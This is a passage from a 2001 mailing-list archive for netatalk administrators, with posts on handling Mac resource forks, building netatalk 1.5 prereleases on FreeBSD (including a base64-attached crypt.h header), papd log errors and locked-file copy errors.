> for your company, then steer well clear of Filemaker.
> 
> Regards,
> 
> ------------------------------------------------
> Basil Hussain (basil.hussain@specialreserve.net)
> 


From netatalk.administrators-errors@umich.edu  Fri Mar  2 10:21:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA11071
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 2 Mar 2001 10:21:16 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA12780
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 2 Mar 2001 10:21:16 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA12755
	for netatalk.administrators-members@umich.edu; Fri, 2 Mar 2001 10:21:15 -0500 (EST)
Received: from mail.magicgoeshere.com (NW152-60.indigo.ie [194.125.152.60] (may be forged))
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA12575
	for <netatalk-admins@umich.edu>; Fri, 2 Mar 2001 10:21:09 -0500 (EST)
Received: from bagend.local (unknown [194.165.171.174])
	by mail.magicgoeshere.com (Postfix) with ESMTP id 54113FAEE
	for <netatalk-admins@umich.edu>; Fri,  2 Mar 2001 15:12:50 +0000 (GMT)
Received: (from niall@localhost)
	by bagend.local (8.9.3/8.9.3) id NAA01107
	for netatalk-admins@umich.edu; Fri, 2 Mar 2001 13:27:01 GMT
Date: Fri, 2 Mar 2001 13:27:01 +0000
From: Niall O Broin <niall@magicgoeshere.com>
To: netatalk-admins@umich.edu
Subject: netatalk compatible utilities
Message-ID: <20010302132701.A1076@bagend.local>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i

This is something which has been buzzing around in my head for literally
years since shortly after I first used netatalk. Everyone who administers
system with netatalk finds himself manipulating Mac. files and writing
little scripts to take care of the pesky resource forks (don't get me wrong
- I think file metadata is a wonderful idea, and I'd love for it to be
implemented in Linux, but those on high don't seem to much like it).

I think there is a need for netatalk enabled versions of
ls,rm,cp,mv,mkdir,ln and find (on Linux systems, all except find are part of
the GNU fileutils package)

Program	Extra functionality

ls	show size of both forks, show Mac timestamps from finderinfo
rm	Remove resource forks where they exist
cp	Copy resource forks also if existing, making .AppleDouble as needed
mv	Move resource forks also if existing, making .AppleDouble as needed
mkdir	Make .AppleDouble automatically - probably not necessary
ln	Link resource forks also if existing, making .AppleDouble as needed
find	Add -mactype, -creator, -resourcesize


Of course there are probably other functionalities to be added, and other
programs which might need changing, but this lot might be a good start. I
wouldn't propose modifying the standard utilities - I'd add an extra set
called e.g. na_$UTILITY or somesuch.

A thought has just occured to me - how has Apple handled this with MacOS X ?
I presume they've built a filesystem with integrated metadata.




Regards,



Niall  O Broin

From netatalk.administrators-errors@umich.edu  Fri Mar  2 10:43:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA11913
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 2 Mar 2001 10:43:46 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA05743
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 2 Mar 2001 10:43:39 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA05719
	for netatalk.administrators-members@umich.edu; Fri, 2 Mar 2001 10:43:37 -0500 (EST)
Received: from jump.tangro.de (cray-ymp.tangro.de [193.155.17.164])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA05674
	for <netatalk-admins@umich.edu>; Fri, 2 Mar 2001 10:43:35 -0500 (EST)
Received: from [193.155.17.160] (whizz.tangro.de [193.155.17.160])
	by jump.tangro.de (8.9.3/8.9.3) with ESMTP id QAA01140;
	Fri, 2 Mar 2001 16:43:32 +0100 (CET)
Mime-Version: 1.0
X-Sender: hf@mail.tangro.de (Unverified)
Message-Id: <f05010400b6c56cdedbbc@[193.155.17.160]>
In-Reply-To: <3A9FB0E3.D40A4F07@univrel.pr.uconn.edu>
References: <3A9EB326.7694B792@i-clue.de>
 <4.3.2.7.2.20010302095341.00b7fb20@mail.tangro.de>
 <3A9FB0E3.D40A4F07@univrel.pr.uconn.edu>
Date: Fri, 2 Mar 2001 16:43:28 +0100
To: jeff <jeff@univrel.pr.uconn.edu>
From: Hauke Fath <hf@Tangro.DE>
Subject: Re: FreeBSD - Building 1.5pre3...
Cc: Jason Quigley <jasonq@mac.com>, so@server.i-clue.de,
        Sebastian Rittau <srittau@jroger.in-berlin.de>,
        netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 9:40 Uhr -0500 02.03.2001, jeff wrote:

>I don't think the transition to GNU autoconf was silly. It was a way to
>make things a little bit more cross-platform and easier to maintain.

Well, there are two things to keep apart: The use of autoconf, and 
setting up the whole configuration so that GNU make must be used.

For 1) I am not up to speed wrt the current netatalk sources, but I 
recall that the build on NetBSD/mac68k broke early on a while back, 
and I did not get anywhere with the autoconf related pieces. A query 
for autoconf pointers/tutorials/whatever information to the 
developers' list dropped to the floor, unanswered.

For 2) please correct me if I am wrong, but autoconf does _not_ 
enforce the use of GNU make. There are a lot of autoconf based 
packages out there that do not rely on GNU make extensions to 
standard make features. A notable exception is gcc, but netatalk does 
not have its complexity.

The emphasis of my mail lay on 2).

	hauke

-- 
Hauke Fath                        tangro software components GmbH
                                         D-69115 Heidelberg
hf@tangro.de                       Ruf +49-6221-13336-0, Fax -21

From netatalk.administrators-errors@umich.edu  Fri Mar  2 11:18:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA12886
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 2 Mar 2001 11:18:53 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA22475
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 2 Mar 2001 11:18:53 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA22454
	for netatalk.administrators-members@umich.edu; Fri, 2 Mar 2001 11:18:52 -0500 (EST)
Received: from sunflare.ccs.yorku.ca (sunflare.ccs.yorku.ca [130.63.236.128])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA22385
	for <netatalk-admins@umich.edu>; Fri, 2 Mar 2001 11:18:50 -0500 (EST)
Received: from sunlight.ccs.yorku.ca (sunlight.ccs.yorku.ca [130.63.236.85])
	by sunflare.ccs.yorku.ca (8.9.3/8.9.3) with ESMTP id LAA08622
	for <netatalk-admins@umich.edu>; Fri, 2 Mar 2001 11:18:47 -0500 (EST)
Received: from localhost (rickg@localhost)
	by sunlight.ccs.yorku.ca (8.9.3/8.9.3) with ESMTP id LAA27541
	for <netatalk-admins@umich.edu>; Fri, 2 Mar 2001 11:18:47 -0500 (EST)
X-Authentication-Warning: sunlight.ccs.yorku.ca: rickg owned process doing -bs
Date: Fri, 2 Mar 2001 11:18:47 -0500 (EST)
From: Richard Goldberg <rickg@yorku.ca>
X-X-Sender:  <rickg@sunlight.ccs.yorku.ca>
To: <netatalk-admins@umich.edu>
Subject: Bad ATP request
Message-ID: <Pine.SOL.4.31.0103021116470.27400-100000@sunlight.ccs.yorku.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hi all,

Starting last week, we are all of the sudden getting lots of the
following error in our log files

	Mar  2 11:06:47 hostname papd[10750]: Bad ATP request!

We have made no changes in our atalk config in the past few weeks.

What does this mean, and whay would it start all of the sudded.

Thanks

***************************** **************************************
*Rick Goldberg              * *                                    *
*Graduate Student           * * "I never wanted to be average,     *
*Computer Science Dept      * *   because when you are average you *
*York University            * *   are just as far from the top as  *
*Toronto, Canada            * *   you are from the bottom."        *
*rickg@yorku.ca             * *              -Stan Cottrell-       *
*www.cs.yorku.ca/~rickg     * *                                    *
***************************** **************************************
     "If you don't invest very much, the defeat doesn't hurt,
             But winning isn't very exciting."



From netatalk.administrators-errors@umich.edu  Fri Mar  2 14:46:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA18445
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 2 Mar 2001 14:46:51 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA02189
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 2 Mar 2001 14:46:44 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA02178
	for netatalk.administrators-members@umich.edu; Fri, 2 Mar 2001 14:46:43 -0500 (EST)
Received: from tsmtp6.mail.isp ([195.235.113.141])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA02134
	for <netatalk-admins@umich.edu>; Fri, 2 Mar 2001 14:46:42 -0500 (EST)
Received: from [10.0.0.3] ([213.97.106.73]) by tsmtp6.mail.isp
          (Netscape Messaging Server 4.15) with ESMTP id G9L5HQ03.C0H for
          <netatalk-admins@umich.edu>; Fri, 2 Mar 2001 20:44:14 +0100 
User-Agent: Microsoft-Entourage/9.0.2509
Date: Fri, 02 Mar 2001 20:46:47 +0100
Subject: Re: FreeBSD - Building 1.5pre3...
From: Jason Quigley <jasonq@mac.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6C5B737.41EA%jasonq@mac.com>
In-Reply-To: <B6C48446.41A6%jasonq@mac.com>
Mime-version: 1.0
Sender: jason_quigley@terra.es
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi list!

I have managed to get the software compiled and running. I can see the
server in the chooser. I am now getting the following error message when I
select the server:

"The User Authentication Method required by this server can't be found.
Please check the AppleShare folder in the Extensions folder and try again."

I assume this has something to do with the DES encryption. I assume also
that plain text passwords are disabled. Is there any way of adding the DES
capability to the Mac? Or, failing that, just re-enable plain text passwords
in the compile?

Do any fellow FreeBSDers think it would be worth making a package of this
version? Too cutting edge?

Many thanks,
Jason.

On 1/3/01 22:57, "Jason Quigley" wrote:

> Thanks guys!
> 
> Looks like I was a silly boy. I should have been using 'gmake' instead of
> 'make'. Why it didn't register I don't know! The expression "Can't see the
> wood for the trees" springs to mind.
> 
> Anyway, the compile is going a bit better now. It's failing due to a missing
> crypt.h. I'm not sure where to get this header file. Any ideas? There are
> various cryptography packages and I don't want to install them willy nilly
> until I get what I need.
> 
> I have the DES libs installed:
> 
> lrwxrwxrwx  1 root  wheel       13 Feb  1 18:29 /usr/lib/libcrypt.a ->
> libdescrypt.a
> lrwxrwxrwx  1 root  wheel       14 Feb  1 18:29 /usr/lib/libcrypt.so ->
> libdescrypt.so
> lrwxrwxrwx  1 root  wheel       16 Feb  1 18:29 /usr/lib/libcrypt.so.2 ->
> libdescrypt.so.2
> lrwxrwxrwx  1 root  wheel       15 Feb  1 18:29 /usr/lib/libcrypt_p.a ->
> libdescrypt_p.a
> -r--r--r--  1 root  wheel  1287976 Dec  2 17:39 /usr/lib/libcrypto.a
> lrwxrwxrwx  1 root  wheel       14 Feb  1 18:29 /usr/lib/libcrypto.so ->
> libcrypto.so.1
> -r--r--r--  1 root  wheel   790036 Dec  2 17:39 /usr/lib/libcrypto.so.1
> -r--r--r--  1 root  wheel  1376598 Dec  2 17:39 /usr/lib/libcrypto_p.a
> 
> I'm not sure what to do. In Debian Linux, it was just a case of installing
> the dev pkg. I'm still trying to find my way around xBSDland.
> 
> Thanks,
> Jason.
> 
> 


From netatalk.administrators-errors@umich.edu  Fri Mar  2 15:04:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA18963
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 2 Mar 2001 15:04:26 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA29811
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 2 Mar 2001 15:04:26 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA29805
	for netatalk.administrators-members@umich.edu; Fri, 2 Mar 2001 15:04:26 -0500 (EST)
Received: from tsmtp1.mail.isp ([195.235.113.141])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA29790
	for <netatalk-admins@umich.edu>; Fri, 2 Mar 2001 15:04:24 -0500 (EST)
Received: from [10.0.0.3] ([213.97.106.73]) by tsmtp1.mail.isp
          (Netscape Messaging Server 4.15) with ESMTP id G9L6B203.HAX for
          <netatalk-admins@umich.edu>; Fri, 2 Mar 2001 21:01:50 +0100 
User-Agent: Microsoft-Entourage/9.0.2509
Date: Fri, 02 Mar 2001 21:04:23 +0100
Subject: SOLVED: FreeBSD - Building 1.5pre3...
From: Jason Quigley <jasonq@mac.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6C5BB57.41ED%jasonq@mac.com>
In-Reply-To: <B6C5B737.41EA%jasonq@mac.com>
Mime-version: 1.0
Sender: jason_quigley@terra.es
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hate to reply to my own posts - it means I leapt before looking!

Anyway, I fixed the problem. I just forgot a couple of sym links.

My question about the BSD package still stands, though.

Cheers,
Jason.

On 2/3/01 20:46, "Jason Quigley" wrote:

> Hi list!
> 
> I have managed to get the software compiled and running. I can see the
> server in the chooser. I am now getting the following error message when I
> select the server:
> 
> "The User Authentication Method required by this server can't be found.
> Please check the AppleShare folder in the Extensions folder and try again."
> 
> I assume this has something to do with the DES encryption. I assume also
> that plain text passwords are disabled. Is there any way of adding the DES
> capability to the Mac? Or, failing that, just re-enable plain text passwords
> in the compile?
> 
> Do any fellow FreeBSDers think it would be worth making a package of this
> version? Too cutting edge?
> 
> Many thanks,
> Jason.
> 


From netatalk.administrators-errors@umich.edu  Fri Mar  2 15:10:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA19080
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 2 Mar 2001 15:10:17 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA05266
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 2 Mar 2001 15:10:17 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA05259
	for netatalk.administrators-members@umich.edu; Fri, 2 Mar 2001 15:10:16 -0500 (EST)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA05243
	for <netatalk-admins@umich.edu>; Fri, 2 Mar 2001 15:10:15 -0500 (EST)
Received: from univrel.pr.uconn.edu (root@test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.8.7/8.8.7) with ESMTP id PAA18574;
	Fri, 2 Mar 2001 15:10:13 -0500
Sender: root@univrel.pr.uconn.edu
Message-ID: <3A9FFD8C.3F9B0255@univrel.pr.uconn.edu>
Date: Fri, 02 Mar 2001 15:07:40 -0500
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.0-0.14mdk i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Jason Quigley <jasonq@mac.com>
CC: netatalk-admins@umich.edu
Subject: Re: FreeBSD - Building 1.5pre3...
References: <B6C5B737.41EA%jasonq@mac.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Jason Quigley wrote:
> I have managed to get the software compiled and running. I can see the
> server in the chooser. I am now getting the following error message when I
> select the server:
> 
> "The User Authentication Method required by this server can't be found.
> Please check the AppleShare folder in the Extensions folder and try again."
> 
> I assume this has something to do with the DES encryption. I assume also
> that plain text passwords are disabled. Is there any way of adding the DES
> capability to the Mac? Or, failing that, just re-enable plain text passwords
> in the compile?

Upgrade to the newest AppleShare Client that Mac recommends. DHX does
not work on older versions of AppleShare Client.

jeff

From netatalk.administrators-errors@umich.edu  Fri Mar  2 16:09:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA21417
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 2 Mar 2001 16:09:17 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA08378
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 2 Mar 2001 16:09:11 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA08339
	for netatalk.administrators-members@umich.edu; Fri, 2 Mar 2001 16:09:09 -0500 (EST)
Received: from post.ices.cmu.edu (POST.ICES.CMU.EDU [128.2.205.86])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id QAA08314
	for <netatalk-admins@umich.edu>; Fri, 2 Mar 2001 16:09:08 -0500 (EST)
Received: from PEEBEE.WV.CC.CMU.EDU by post.ices.cmu.edu id aa12156;
          2 Mar 2001 16:08 EST
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 02 Mar 2001 16:06:00 -0500
Subject: The item "..." cannot be written, because it is locked.
From: John G Dorsey <john+@cs.cmu.edu>
To: netatalk-admins@umich.edu
MMDF-Warning:  Parse error in original version of preceding line at post.ices.cmu.edu
Message-ID: <B6C57567.15DA%john+@cs.cmu.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hello,

I'm running netatalk 1.5pre4 on a Linux box, with a MacOS 9.0.4 client. I've
observed that I can create directories in volumes mounted from the Linux box
on the MacOS client, but when I attempt to copy a file from the client to
the mounted volume, I get:

  The item "<filename>" cannot be written, because it is locked.
  Do you want to continue?

In perusing the archives of this list, I've come across several references
to incorrect permissions, particularly on the .AppleDouble directory. I
haven't had much luck in choosing various owners, groups, and modes for the
files and directories which are being exported. (Even mode 777 doesn't seem
to change anything.) The most recent traffic to this effect in the web
archive appears to be from 15 Jan 2001, but I don't think there was a
resolution posted.

May I ask for suggestions as to likely culprits?

Thanks!
-jd


From netatalk.administrators-errors@umich.edu  Fri Mar  2 17:09:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA23162
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 2 Mar 2001 17:09:15 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA14876
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 2 Mar 2001 17:09:08 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA14869
	for netatalk.administrators-members@umich.edu; Fri, 2 Mar 2001 17:09:07 -0500 (EST)
Received: from tsmtp2.mail.isp ([195.235.113.141])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA14840
	for <netatalk-admins@umich.edu>; Fri, 2 Mar 2001 17:09:06 -0500 (EST)
Received: from [10.0.0.3] ([213.97.106.73]) by tsmtp2.mail.isp
          (Netscape Messaging Server 4.15) with ESMTP id G9LC3106.89C;
          Fri, 2 Mar 2001 23:06:37 +0100 
User-Agent: Microsoft-Entourage/9.0.2509
Date: Fri, 02 Mar 2001 23:09:10 +0100
Subject: Re: SOLVED: FreeBSD - Building 1.5pre3...
From: Jason Quigley <jasonq@mac.com>
To: David Miller <dvmiller@design.ohio-state.edu>
CC: <netatalk-admins@umich.edu>
Message-ID: <B6C5D896.41FD%jasonq@mac.com>
In-Reply-To: <5.0.1.4.2.20010302161727.01c82648@mx1.design.ohio-state.edu>
Mime-version: 1.0
Sender: jason_quigley@terra.es
Content-type: multipart/mixed; boundary="B_3066419351_1014787"

> This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

--B_3066419351_1014787
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi David!

Just place the attached file into /usr/include/

I originally got this from the FreeBSD CVS web interface.

One thing I have noticed, though: I was having problems creating folders on
the network. I would get an error stating that I hadn't the privilege to
create it. As has happened to many people, the folder was created anyway.
The main problem is is that this makes copies bomb out which have files or
folders within folders, etc.

With 1.5pre4, this went away. Aha, great I thought! Only problem was,
copying any file onto the network would give me an error saying that it
could not be copied because it was locked!

I compiled netatalk-1.4.99-0.20001108 and this runs fine. I can create
folders and copy files without any trouble.

Anyway, this is my last message of the day. Time for beer. Lots of lovely
beer!

Good luck!!

Cheers,
Jason.

On 2/3/01 22:18, "David Miller" wrote:

> How did you finally resolve the missing crypt.h problem?  I'm trying to
> build on OpenBSD and am running into the same thing.
> 
> 
> David Miller
> Systems Administrator
> Department of Design
> Department of Art
> The Ohio State University
> 
> ph: 614.688.5907
> fx:  614.292.0217
> 


--B_3066419351_1014787
Content-type: multipart/appledouble; boundary="B_3066419347_1037074"


--B_3066419347_1037074
Content-type: application/applefile; name="crypt.h"
Content-transfer-encoding: base64
Content-disposition: attachment

AAUWBwACAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAJAAAAPgAAACAAAAADAAAAXgAAAAcAAAAC
AAAAZQAAAX5URVhUUipjaAEAAIgDwAAAAAAAAAAAAAAAAAAAAAAAAGNyeXB0LmgAAAEAAAAB
TAAAAEwAAAAyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAKTW9uYWNvAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAABgAEAC0ACQK7AyEALQAJArsDIbbF1jMAAAZ1AAAGdQAAAAAB
AAAAAQAAAAFMAAAATAAAADJTT1JUA24AgAAcADIAAE1QU1IAAAAKA+3//wAAAAAJzdaI

--B_3066419347_1037074
Content-type: text/plain; name="crypt.h";
 x-mac-creator="522A6368";
 x-mac-type="54455854"
Content-disposition: attachment
Content-transfer-encoding: base64

LyoKICogQ29weXJpZ2h0IChjKSAxOTk5CiAqICAgICAgTWFyayBNdXJyYXkuICBBbGwgcmln
aHRzIHJlc2VydmVkLgogKgogKiBSZWRpc3RyaWJ1dGlvbiBhbmQgdXNlIGluIHNvdXJjZSBh
bmQgYmluYXJ5IGZvcm1zLCB3aXRoIG9yIHdpdGhvdXQKICogbW9kaWZpY2F0aW9uLCBhcmUg
cGVybWl0dGVkIHByb3ZpZGVkIHRoYXQgdGhlIGZvbGxvd2luZyBjb25kaXRpb25zCiAqIGFy
ZSBtZXQ6CiAqIDEuIFJlZGlzdHJpYnV0aW9ucyBvZiBzb3VyY2UgY29kZSBtdXN0IHJldGFp
biB0aGUgYWJvdmUgY29weXJpZ2h0CiAqICAgIG5vdGljZSwgdGhpcyBsaXN0IG9mIGNvbmRp
dGlvbnMgYW5kIHRoZSBmb2xsb3dpbmcgZGlzY2xhaW1lci4KICogMi4gUmVkaXN0cmlidXRp
b25zIGluIGJpbmFyeSBmb3JtIG11c3QgcmVwcm9kdWNlIHRoZSBhYm92ZSBjb3B5cmlnaHQK
ICogICAgbm90aWNlLCB0aGlzIGxpc3Qgb2YgY29uZGl0aW9ucyBhbmQgdGhlIGZvbGxvd2lu
ZyBkaXNjbGFpbWVyIGluIHRoZQogKiAgICBkb2N1bWVudGF0aW9uIGFuZC9vciBvdGhlciBt
YXRlcmlhbHMgcHJvdmlkZWQgd2l0aCB0aGUgZGlzdHJpYnV0aW9uLgogKgogKiBUSElTIFNP
RlRXQVJFIElTIFBST1ZJREVEIEJZIE1BUksgTVVSUkFZIEFORCBDT05UUklCVVRPUlMgYGBB
UyBJUycnIEFORAogKiBBTlkgRVhQUkVTUyBPUiBJTVBMSUVEIFdBUlJBTlRJRVMsIElOQ0xV
RElORywgQlVUIE5PVCBMSU1JVEVEIFRPLCBUSEUKICogSU1QTElFRCBXQVJSQU5USUVTIE9G
IE1FUkNIQU5UQUJJTElUWSBBTkQgRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UK
ICogQVJFIERJU0NMQUlNRUQuICBJTiBOTyBFVkVOVCBTSEFMTCBNQVJLIE1VUlJBWSBPUiBD
T05UUklCVVRPUlMgQkUgTElBQkxFCiAqIEZPUiBBTlkgRElSRUNULCBJTkRJUkVDVCwgSU5D
SURFTlRBTCwgU1BFQ0lBTCwgRVhFTVBMQVJZLCBPUiBDT05TRVFVRU5USUFMCiAqIERBTUFH
RVMgKElOQ0xVRElORywgQlVUIE5PVCBMSU1JVEVEIFRPLCBQUk9DVVJFTUVOVCBPRiBTVUJT
VElUVVRFIEdPT0RTCiAqIE9SIFNFUlZJQ0VTOyBMT1NTIE9GIFVTRSwgREFUQSwgT1IgUFJP
RklUUzsgT1IgQlVTSU5FU1MgSU5URVJSVVBUSU9OKQogKiBIT1dFVkVSIENBVVNFRCBBTkQg
T04gQU5ZIFRIRU9SWSBPRiBMSUFCSUxJVFksIFdIRVRIRVIgSU4gQ09OVFJBQ1QsIFNUUklD
VAogKiBMSUFCSUxJVFksIE9SIFRPUlQgKElOQ0xVRElORyBORUdMSUdFTkNFIE9SIE9USEVS
V0lTRSkgQVJJU0lORyBJTiBBTlkgV0FZCiAqIE9VVCBPRiBUSEUgVVNFIE9GIFRISVMgU09G
VFdBUkUsIEVWRU4gSUYgQURWSVNFRCBPRiBUSEUgUE9TU0lCSUxJVFkgT0YKICogU1VDSCBE
QU1BR0UuCiAqCiAqICRGcmVlQlNEOiAvYy9uY3ZzL3NyYy9saWIvbGliY3J5cHQvY3J5cHQu
aCx2IDEuNSAyMDAwLzA4LzIyIDAyOjE1OjUyIGdyZWVuIEV4CnAgJAogKgogKi8KCi8qIG1h
Z2ljIHNpemVzICovCiNkZWZpbmUgTUQ1X1NJWkUgMTYKCmNoYXIgKmNyeXB0X2Rlcyhjb25z
dCBjaGFyICpwdywgY29uc3QgY2hhciAqc2FsdCk7CmNoYXIgKmNyeXB0X21kNShjb25zdCBj
aGFyICpwdywgY29uc3QgY2hhciAqc2FsdCk7CgpleHRlcm4gdm9pZCBfY3J5cHRfdG82NChj
aGFyICpzLCB1bnNpZ25lZCBsb25nIHYsIGludCBuKTsK


--B_3066419347_1037074--


--B_3066419351_1014787--



From netatalk.administrators-errors@umich.edu  Fri Mar  2 17:41:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA23785
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 2 Mar 2001 17:41:55 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA12064
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 2 Mar 2001 17:41:55 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA12049
	for netatalk.administrators-members@umich.edu; Fri, 2 Mar 2001 17:41:55 -0500 (EST)
Received: from galaxy.tbird.com (galaxy.tbird.com [199.72.122.9])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA12001
	for <netatalk-admins@umich.edu>; Fri, 2 Mar 2001 17:41:53 -0500 (EST)
Received: from eagle.tbird.com (eagle.tbird.com [199.72.122.7])
